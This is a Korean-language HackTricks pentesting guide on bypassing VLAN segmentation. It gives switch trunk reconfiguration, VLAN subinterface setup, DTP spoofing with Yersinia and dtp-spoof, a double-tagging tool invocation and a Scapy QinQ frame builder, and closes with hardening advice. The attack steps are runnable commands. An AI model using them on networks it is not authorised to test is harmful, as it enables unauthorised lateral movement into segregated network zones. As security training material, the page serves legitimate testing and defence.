Lateral VLAN Segmentation Bypass

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN에 대한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 (자세한 내용은 https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 확인하세요.)

먼저, 특정 연결된 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 include 마스크를 통해 포트를 검색하여 수행할 수 있습니다.

CDP가 작동하지 않는 경우, MAC 주소를 검색하여 포트 식별을 시도할 수 있습니다:

SW1(config)# show mac address-table | include 0050.0000.0500

트렁크 모드로 전환하기 전에 기존 VLAN 목록을 작성하고 해당 식별자를 확인해야 합니다. 이러한 식별자는 인터페이스에 할당되어 트렁크를 통해 다양한 VLAN에 접근할 수 있게 합니다. 사용 중인 포트는 예를 들어 VLAN 10과 연결되어 있습니다.

SW1# show vlan brief

트렁크 모드로 전환하려면 인터페이스 구성 모드에 들어가야 합니다:

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

트렁크 모드로 전환하면 일시적으로 연결이 중단되지만, 이후에 복구할 수 있습니다.

그런 다음 가상 인터페이스가 생성되고, VLAN ID가 할당되며, 활성화됩니다:

bash
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up

그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 불가능한 경우, 주소를 수동으로 구성할 수 있습니다:

bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60

인터페이스(VLAN 10)에서 정적 IP 주소를 수동으로 설정하는 예:

bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0

연결성은 VLAN 10, 20, 50 및 60의 기본 게이트웨이에 ICMP 요청을 시작하여 테스트됩니다.

궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 제한 없는 액세스를 용이하게 하고, 이후 작업을 위한 기반을 마련합니다.


기타 VLAN-Hopping 기술 (특권 스위치 CLI 없음)

이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반 액세스 포트에 연결되어 있는 경우가 많습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다:

1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑

DTP가 활성화된 Cisco 스위치는 피어가 스위치라고 주장하면 기꺼이 트렁크를 협상합니다. 단일 DTP “desirable” 또는 “trunk” 프레임을 작성하면 액세스 포트가 모든 허용된 VLAN을 전송하는 802.1Q 트렁크로 변환됩니다.

Yersinia 및 여러 PoC가 이 프로세스를 자동화합니다:

bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking

# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable

포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다. 최신 Linux 커널은 더 이상 vconfig를 필요로 하지 않으며, 대신 ip link를 사용하십시오:

bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up

2. 더블 태깅 (네이티브 VLAN 남용)

공격자가 네이티브 (태그가 없는) VLAN에 있을 경우, 두 개의 802.1Q 헤더가 있는 조작된 프레임은 포트가 액세스 모드로 잠겨 있어도 두 번째 VLAN으로 "홉"할 수 있습니다. VLANPWN DoubleTagging.py (2022-2024 리프레시)와 같은 도구는 주입을 자동화합니다:

bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54

패킷 통과:

  1. 외부 태그 (1)는 기본 VLAN과 일치하기 때문에 첫 번째 스위치에 의해 제거됩니다.
  2. 내부 태그 (20)가 이제 노출되며, 프레임은 VLAN 20으로 향하는 트렁크로 전달됩니다.

이 기술은 기본 VLAN을 기본값으로 두고 태그가 없는 프레임을 수용하는 네트워크에서 2025년에도 여전히 작동합니다.

3. QinQ (802.1ad) 스태킹

많은 기업 코어는 Q-in-Q 서비스 제공업체 캡슐화를 지원합니다. 허용되는 경우, 공격자는 공급자(S-tag) 내부에 임의의 802.1Q 태그가 있는 트래픽을 터널링하여 보안 구역을 넘을 수 있습니다. 802.1ad 이더타입 0x88a8을 캡처하고 Scapy로 외부 태그를 팝하려고 시도하십시오:

python
from scapy.all import *
outer = 100      # Service tag
inner = 30       # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")

방어 권장 사항

  1. 모든 사용자-facing 포트에서 DTP 비활성화: switchport mode access + switchport nonegotiate.
  2. 모든 트렁크에서 기본 VLAN을 사용되지 않는 블랙홀 VLAN으로 변경하고 태그 지정: vlan dot1q tag native.
  3. 트렁크에서 불필요한 VLAN 제거: switchport trunk allowed vlan 10,20.
  4. 포트 보안, DHCP 스누핑 및 동적 ARP 검사 시행하여 불법 Layer-2 활동 제한.
  5. 802.1Q 분리에만 의존하기보다는 프라이빗 VLAN 또는 L3 세분화를 선호.

참조

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기